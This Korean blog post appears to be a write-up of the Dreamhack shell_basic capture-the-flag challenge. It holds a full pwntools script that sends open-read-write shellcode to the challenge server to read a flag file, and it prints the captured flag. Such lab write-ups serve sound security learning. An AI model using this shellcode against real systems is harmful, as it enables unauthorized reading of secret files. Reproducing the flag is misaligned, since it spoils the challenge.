SMALL
오랜만에 쓰는 티스토리네요!
오랜만에 와서 새롭게 드림핵 문제 풀이도 도전해보려고 합니다
드림핵 시스템 해킹 로드맵에서 첫 번째 문제인 shell_basic입니다
문제 정보는 이렇고 파일을 다운로드해서 실행해 봅시다!
문제 정보를 보면 execve 시스템 콜을 못한다는 것을 orw 쉘코드를 이용해서 해당 경로에 있는 플래그 파일을 읽는 구조인 인 것 같습니다
원래는 일일이 어셈블리로 쳐줘야 하는데 pwntools이라는 좋은 툴이 있으므로 그걸 사용해 봅시다
from pwn import *
p = remote("host3.dreamhack.games", 9801)
context.arch = "amd64"
r = "/home/shell_basic/flag_name_is_loooooong"
shellcode = ''
shellcode += shellcraft.open(r) # open("경로")
shellcode += shellcraft.read('rax', 'rsp', 100) # read(fd, buf, 100)
shellcode += shellcraft.write(1, 'rsp', 100) # write(1, buf, 100)
p.sendline(asm(shellcode))
print(p.recvuntil("}"))
shellcraft 부분에서 rax와 rsp를 넣은 이유는 read 시스템 콜로 반환된 값이 rax에 저장되고, buf 주소가 rsp의 현재 위치기 때문에 그렇습니다
잘 작동하네요!
Flag : DH{ca562d7cf1db6c55cb11c4ec350a3c0b}
LIST